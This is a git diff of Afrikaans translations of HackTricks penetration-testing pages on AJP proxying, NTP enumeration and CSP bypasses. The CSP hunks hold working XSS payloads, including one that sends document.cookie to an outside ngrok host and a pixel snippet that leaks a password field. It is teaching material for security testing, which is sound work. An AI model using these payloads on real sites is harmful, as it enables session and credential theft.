<summary>Ondersteun HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -15,15 +15,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -34,11 +34,11 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
Van: [https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/](https://diablohorn.com/2011/10/19/8009-the-forgotten-tomcat-port/)
|
||||
|
||||
> AJP is 'n draadprotokol. Dit is 'n geoptimaliseerde weergawe van die HTTP-protokol om 'n standalone webbediener soos [Apache](http://httpd.apache.org/) in staat te stel om met Tomcat te kommunikeer. Histories was Apache baie vinniger as Tomcat om statiese inhoud te bedien. Die idee is om Apache statiese inhoud te laat bedien wanneer moontlik, maar om die versoek na Tomcat te proxy vir Tomcat-verwante inhoud.
|
||||
> AJP is 'n draadprotokol. Dit is 'n geoptimaliseerde weergawe van die HTTP-protokol om 'n standalone webbediener soos [Apache](http://httpd.apache.org/) in staat te stel om met Tomcat te kommunikeer. Histories was Apache baie vinniger as Tomcat om statiese inhoud te bedien. Die idee is om Apache statiese inhoud te laat bedien wanneer moontlik, maar die versoek na Tomcat te proxy vir Tomcat-verwante inhoud.
|
||||
|
||||
Ook interessant:
|
||||
|
||||
> Die ajp13-protokol is pakket-georiënteerd. 'n Binaire formaat is vermoedelik gekies bo die meer leesbare platte teks om redes van prestasie. Die webbediener kommunikeer met die servlet houer oor TCP-verbindinge. Om die duur proses van sokket skepping te verminder, sal die webbediener probeer om volhoubare TCP-verbindinge met die servlet houer te handhaaf, en om 'n verbinding vir meerdere versoek/antwoord siklusse te hergebruik.
|
||||
> Die ajp13-protokol is pakket-georiënteerd. 'n Binaire formaat is vermoedelik gekies bo die meer leesbare platte teks om redes van prestasie. Die webbediener kommunikeer met die servlet houer oor TCP-verbindinge. Om die duur proses van sokket skepping te verminder, sal die webbediener probeer om volhoubare TCP-verbindinge met die servlet houer te handhaaf, en om 'n verbinding vir verskeie versoek/antwoord siklusse te hergebruik.
|
||||
|
||||
**Standaard poort:** 8009
|
||||
```
|
||||
|
@ -101,7 +101,7 @@ ajp_pass tomcats;
|
|||
}
|
||||
}
|
||||
```
|
||||
Begin Nginx en kontroleer of alles korrek werk deur 'n cURL-versoek na jou plaaslike gasheer te stuur.
|
||||
Start Nginx en kontroleer of alles korrek werk deur 'n cURL-versoek na jou plaaslike gasheer te stuur.
|
||||
```html
|
||||
sudo nginx
|
||||
curl http://127.0.0.1:80
|
||||
|
@ -165,7 +165,7 @@ sudo a2enmod proxy_http
|
|||
sudo a2enmod proxy_ajp
|
||||
sudo systemctl restart apache2
|
||||
```
|
||||
Hierdie opstelling bied die potensiaal om indringingdetectie- en voorkomingsisteme (IDS/IPS) te omseil weens die **binariteit van die AJP-protokol**, alhoewel hierdie vermoë nie geverifieer is nie. Deur 'n gewone Metasploit Tomcat-exploit na `127.0.0.1:80` te rig, kan jy effektief beheer oor die geteikende stelsel oorneem.
|
||||
Hierdie opstelling bied die potensiaal om indringingdetectie- en voorkomingsisteme (IDS/IPS) te omseil weens die **AJP-protokol se binêre aard**, alhoewel hierdie vermoë nie geverifieer is nie. Deur 'n gewone Metasploit Tomcat-exploit na `127.0.0.1:80` te rig, kan jy effektief beheer oor die geteikende stelsel neem.
|
||||
```bash
|
||||
msf exploit(tomcat_mgr_deploy) > show options
|
||||
```
|
||||
|
@ -174,7 +174,7 @@ msf exploit(tomcat_mgr_deploy) > show options
|
|||
* [https://github.com/yaoweibin/nginx\_ajp\_module](https://github.com/yaoweibin/nginx\_ajp\_module)
|
||||
* [https://academy.hackthebox.com/module/145/section/1295](https://academy.hackthebox.com/module/145/section/1295)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
|
@ -198,7 +198,7 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Sluit by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -16,15 +16,15 @@ Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size=
|
|||
{% endhint %}
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en bug bounty jagters!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regte tyd nuus en insigte
|
||||
**Regstyds Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -33,15 +33,15 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Basiese Inligting
|
||||
|
||||
Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle oor veranderlike latensie-netwerke hul klokken akkuraat sinkroniseer. Dit is noodsaaklik vir die handhawing van presiese tydskeeping in IT-operasies, sekuriteit en logging. NTP se akkuraatheid is noodsaaklik, maar dit bied ook sekuriteitsrisiko's as dit nie behoorlik bestuur word nie.
|
||||
Die **Network Time Protocol (NTP)** verseker dat rekenaars en netwerktoestelle oor veranderlike-latensie netwerke hul horlosies akkuraat sinkroniseer. Dit is noodsaaklik vir die handhawing van presiese tydskeeping in IT-operasies, sekuriteit en logging. NTP se akkuraatheid is noodsaaklik, maar dit stel ook sekuriteitsrisiko's voor as dit nie behoorlik bestuur word nie.
|
||||
|
||||
### Samevatting & Sekuriteitswenke:
|
||||
|
||||
* **Doel**: Sinkroniseer toestelklokke oor netwerke.
|
||||
* **Doel**: Sinkroniseer toestelhorlosies oor netwerke.
|
||||
* **Belangrikheid**: Krities vir sekuriteit, logging, en operasies.
|
||||
* **Sekuriteitsmaatreëls**:
|
||||
* Gebruik vertroude NTP-bronne met outentisering.
|
||||
* Beperk NTP-bediener netwerktoegang.
|
||||
* Gebruik vertroude NTP bronne met outentisering.
|
||||
* Beperk NTP bediener netwerktoegang.
|
||||
* Monitor sinkronisasie vir tekens van vervalsing.
|
||||
|
||||
**Standaard poort:** 123/udp
|
||||
|
@ -100,15 +100,15 @@ Name: Nmap
|
|||
Description: Enumerate NTP
|
||||
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
Sluit aan by die [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regte Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte tyd nuus en insigte
|
||||
**Regte-Tyd Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur middel van regte-tyd nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
|
|
@ -1,29 +1,29 @@
|
|||
# Inhoudsekuriteitsbeleid (CSP) Omseiling
|
||||
# Content Security Policy (CSP) Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Kyk na die [**subskripsieplanne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
||||
|
||||
**Hacking Inligting**\
|
||||
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
||||
|
||||
**Regstydse Hack Nuus**\
|
||||
Bly op hoogte van die vinnige hacking wêreld deur regstydse nuus en insigte
|
||||
**Regstyds Hack Nuus**\
|
||||
Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
|
||||
|
||||
**Laaste Aankondigings**\
|
||||
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
||||
|
@ -32,7 +32,7 @@ Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike pla
|
|||
|
||||
## Wat is CSP
|
||||
|
||||
Inhoudsekuriteitsbeleid (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **beskerming teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur paaie en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid kan die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
Content Security Policy (CSP) word erken as 'n blaastegnologie, hoofsaaklik gemik op **om te beskerm teen aanvalle soos cross-site scripting (XSS)**. Dit funksioneer deur pad en bronne te definieer en te detailleer waaruit hulpbronne veilig deur die blaaiers gelaai kan word. Hierdie hulpbronne sluit 'n reeks elemente in soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van stringkode deur funksies soos `eval`, `setTimeout`, of `setInterval`.
|
||||
|
||||
Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elemente in die HTML-bladsy** in te sluit. Na hierdie beleid, handhaaf blaaiers proaktief hierdie bepalings en blokkeer onmiddellik enige opgespoor oortredings.
|
||||
|
||||
|
@ -40,7 +40,7 @@ Implementering van CSP word uitgevoer deur **antwoordkoppe** of deur **meta-elem
|
|||
```
|
||||
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
|
||||
```
|
||||
* Geïmplementeer deur middel van 'n meta-tag:
|
||||
* Geïmplementeer deur middel van meta-tag:
|
||||
```xml
|
||||
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
|
||||
```
|
||||
|
@ -94,9 +94,9 @@ object-src 'none';
|
|||
* `'self'`: Laat laai vanaf dieselfde domein toe.
|
||||
* `'data'`: Laat hulpbronne toe om via die data-skema gelaai te word (bv. Base64-gecodeerde beelde).
|
||||
* `'none'`: Blokkeer laai vanaf enige bron.
|
||||
* `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'unsafe-eval'`: Laat die gebruik van `eval()` en soortgelyke metodes toe, nie aanbeveel vir sekuriteitsredes nie.
|
||||
* `'unsafe-hashes'`: Aktiveer spesifieke inline gebeurtenis hanteerders.
|
||||
* `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir veiligheidsredes nie.
|
||||
* `'unsafe-inline'`: Laat die gebruik van inline hulpbronne soos inline `<script>` of `<style>` toe, nie aanbeveel vir sekuriteitsredes nie.
|
||||
* `'nonce'`: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (nommer wat een keer gebruik word) gebruik.
|
||||
* As jy JS beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met `doc.defaultView.top.document.querySelector("[nonce]")` en dit dan te hergebruik om 'n kwaadwillige skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, so dit is nie nodig nie), soos in:
|
||||
|
||||
|
@ -115,15 +115,15 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
</details>
|
||||
|
||||
* `'sha256-<hash>'`: Witlys scripts met 'n spesifieke sha256-hash.
|
||||
* `'strict-dynamic'`: Laat die laai van scripts van enige bron toe as dit deur 'n nonce of hash gewitlys is.
|
||||
* `'strict-dynamic'`: Laat toe dat scripts van enige bron gelaai word as dit deur 'n nonce of hash gewitlys is.
|
||||
* `'host'`: Spesifiseer 'n spesifieke gasheer, soos `example.com`.
|
||||
* `https:`: Beperk URL's tot dié wat HTTPS gebruik.
|
||||
* `blob:`: Laat hulpbronne toe om van Blob-URL's gelaai te word (bv. Blob-URL's wat via JavaScript geskep is).
|
||||
* `filesystem:`: Laat hulpbronne toe om van die lêerstelsel gelaai te word.
|
||||
* `blob:`: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv. Blob-URL's wat via JavaScript geskep is).
|
||||
* `filesystem:`: Laat toe dat hulpbronne van die lêerstelsel gelaai word.
|
||||
* `'report-sample'`: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).
|
||||
* `'strict-origin'`: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige oorspronge kan hulpbronne van veilige oorspronge laai).
|
||||
* `'strict-origin-when-cross-origin'`: Stuur volle URL's wanneer dieselfde oorsprong versoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.
|
||||
* `'unsafe-allow-redirects'`: Laat hulpbronne toe om gelaai te word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
|
||||
* `'unsafe-allow-redirects'`: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal herlei. Nie aanbeveel nie, aangesien dit sekuriteit verzwak.
|
||||
|
||||
## Onveilige CSP-reëls
|
||||
|
||||
|
@ -153,7 +153,7 @@ Werkslading:
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe script-tag** in die DOM met jou JS-kode kan maak, omdat 'n toegelate script dit skep, sal die **nuwe script-tag toegelaat word om uitgevoer te word**.
|
||||
As jy op een of ander manier 'n **toegelate JS-kode 'n nuwe script-tag** in die DOM met jou JS-kode kan laat skep, omdat 'n toegelate script dit skep, sal die **nuwe script-tag toegelaat word om uitgevoer te word**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -184,7 +184,7 @@ Content-Security-Policy: script-src 'self'; object-src 'none' ;
|
|||
```
|
||||
As jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
|
||||
|
||||
Werkslading:
|
||||
Werkende payload:
|
||||
```markup
|
||||
"/>'><script src="/uploads/picture.png.js"></script>
|
||||
```
|
||||
|
@ -227,10 +227,10 @@ With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-a
|
|||
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
|
||||
>
|
||||
```
|
||||
#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window`-objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
#### Payloads wat Angular gebruik + 'n biblioteek met funksies wat die `window` objek teruggee ([kyk na hierdie pos](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
|
||||
|
||||
{% hint style="info" %}
|
||||
Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS-biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window`-objek teruggee** kan nagaan.
|
||||
Die pos wys dat jy **alle** **biblioteke** van `cdn.cloudflare.com` (of enige ander toegelate JS biblioteek repo) kan **laai**, alle bygevoegde funksies van elke biblioteek kan uitvoer, en **watter funksies van watter biblioteke die `window` objek teruggee** kan nagaan.
|
||||
{% endhint %}
|
||||
```markup
|
||||
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
|
||||
|
@ -303,7 +303,7 @@ Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang op 'n
|
|||
```http
|
||||
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
|
||||
```
|
||||
Scenariod soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word met JSONP. JSONP-eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
|
||||
Scenariod soos hierdie waar `script-src` op `self` en 'n spesifieke domein wat op die witlys is, gestel is, kan omseil word deur JSONP. JSONP eindpunte laat onveilige terugroepmetodes toe wat 'n aanvaller in staat stel om XSS uit te voer, werkende payload:
|
||||
```markup
|
||||
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
|
||||
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
|
||||
|
@ -319,7 +319,7 @@ Die dieselfde kwesbaarheid sal voorkom as die **vertroude eindpunt 'n Open Redir
|
|||
|
||||
### Derdeparty Misbruik
|
||||
|
||||
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om of data te ekfiltreer of JavaScript-kode uit te voer. Sommige van hierdie derdepartye is:
|
||||
Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses), is daar baie derdeparty domeine, wat dalk êrens in die CSP toegelaat word, wat misbruik kan word om óf data te ekfiltreer óf JavaScript-kode uit te voer. Sommige van hierdie derdepartye is:
|
||||
|
||||
| Entiteit | Toegelate Domein | Vermoëns |
|
||||
| ----------------- | ------------------------------------------- | ------------- |
|
||||
|
@ -332,7 +332,7 @@ Soos beskryf in die [volgende pos](https://sensepost.com/blog/2023/dress-code-th
|
|||
| Salesforce Heroku | \*.herokuapp.com | Ekfil, Exec |
|
||||
| Google Firebase | \*.firebaseapp.com | Ekfil, Exec |
|
||||
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en, of data na daardie diens te ekfiltreer of kode uit te voer.
|
||||
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is daar 'n kans dat jy die CSP mag kan omseil deur op die derdeparty diens te registreer en óf data na daardie diens te ekfiltreer óf kode uit te voer.
|
||||
|
||||
Byvoorbeeld, as jy die volgende CSP vind:
|
||||
```
|
||||
|
@ -358,7 +358,7 @@ fbq('trackCustom', 'My-Custom-Event',{
|
|||
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
|
||||
});
|
||||
```
|
||||
As vir die ander sewe derdeparty-domeine wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blogpos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derdeparty-misbruik.
|
||||
Soos vir die ander sewe derdeparty-domeine wat in die vorige tabel gespesifiseer is, is daar baie ander maniere waarop jy hulle kan misbruik. Verwys na die vorige [blogpos](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) vir addisionele verduidelikings oor ander derdeparty-misbruik.
|
||||
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
|
@ -368,15 +368,15 @@ Byvoorbeeld, as CSP die pad `https://example.com/scripts/react/` toelaat, kan di
|
|||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
Die blaaiers sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
|
||||
Die blaaiert sal uiteindelik `https://example.com/scripts/angular/angular.js` laai.
|
||||
|
||||
Dit werk omdat jy vir die blaaiers 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
|
||||
Dit werk omdat jy vir die blaaiert 'n lêer met die naam `..%2fangular%2fangular.js` laai wat geleë is onder `https://example.com/scripts/react/`, wat voldoen aan CSP.
|
||||
|
||||
∑, hulle sal dit decodeer, wat effektief `https://example.com/scripts/react/../angular/angular.js` versoek, wat gelyk is aan `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiers en die bediener te benut, kan die padreëls omseil word**.
|
||||
Deur **hierdie inkonsekwentheid in URL-interpretasie tussen die blaaiert en die bediener te benut, kan die padreëls omseil word**.
|
||||
|
||||
Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiers en die bediener verseker om hierdie probleem te vermy.
|
||||
Die oplossing is om nie `%2f` as `/` aan die bedienerkant te behandel nie, wat 'n konsekwente interpretasie tussen die blaaiert en die bediener verseker om hierdie probleem te vermy.
|
||||
|
||||
Aanlyn Voorbeeld:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
@ -397,14 +397,14 @@ As die kwesbare bladsy met **httpS** gelaai word, gebruik 'n httpS-url in die ba
|
|||
```
|
||||
### AngularJS gebeurtenisse
|
||||
|
||||
'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel pasgemaakte gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiersgebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik is dat die `$event/event` objek in Chrome 'n `path` attribuut het, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
|
||||
'n Spesifieke beleid bekend as Content Security Policy (CSP) mag JavaScript gebeurtenisse beperk. Nietemin, AngularJS stel pasgemaakte gebeurtenisse as 'n alternatief bekend. Binne 'n gebeurtenis bied AngularJS 'n unieke objek `$event`, wat na die inheemse blaaiers gebeurtenis objek verwys. Hierdie `$event` objek kan benut word om die CSP te omseil. Opmerklik is dat, in Chrome, die `$event/event` objek 'n `path` attribuut het, wat 'n objekarray bevat wat betrokke is by die gebeurtenis se uitvoeringsketting, met die `window` objek altyd aan die einde. Hierdie struktuur is van kardinale belang vir sandbox ontsnappingstaktieke.
|
||||
|
||||
Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te itereren, en die terminale element (die `window` objek) te benut om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verhelder hierdie proses:
|
||||
Deur hierdie array na die `orderBy` filter te rig, is dit moontlik om oor dit te herhaal, terwyl die terminale element (die `window` objek) gebruik word om 'n globale funksie soos `alert()` te aktiveer. Die gedemonstreerde kode-snippet hieronder verduidelik hierdie proses:
|
||||
```xml
|
||||
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
|
||||
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
|
||||
```
|
||||
Hierdie snit beklemtoon die gebruik van die `ng-focus` rigting om die gebeurtenis te aktiveer, deur `$event.path|orderBy` te gebruik om die `path` array te manipuleer, en die `window` objek te benut om die `alert()` funksie uit te voer, wat `document.cookie` onthul.
|
||||
Hierdie snit beklemtoon die gebruik van die `ng-focus` riglyn om die gebeurtenis te aktiveer, wat `$event.path|orderBy` gebruik om die `path`-array te manipuleer, en die `window`-objek benut om die `alert()`-funksie uit te voer, wat `document.cookie` onthul.
|
||||
|
||||
**Vind ander Angular omseilings in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
|
||||
|
||||
|
@ -446,7 +446,7 @@ Hier is 'n voorbeeld:
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
If CSP is gestel na `https://www.google.com/a/b/c/d`, omdat die pad oorweeg word, sal beide `/test` en `/a/test` skripte deur CSP geblokkeer word.
|
||||
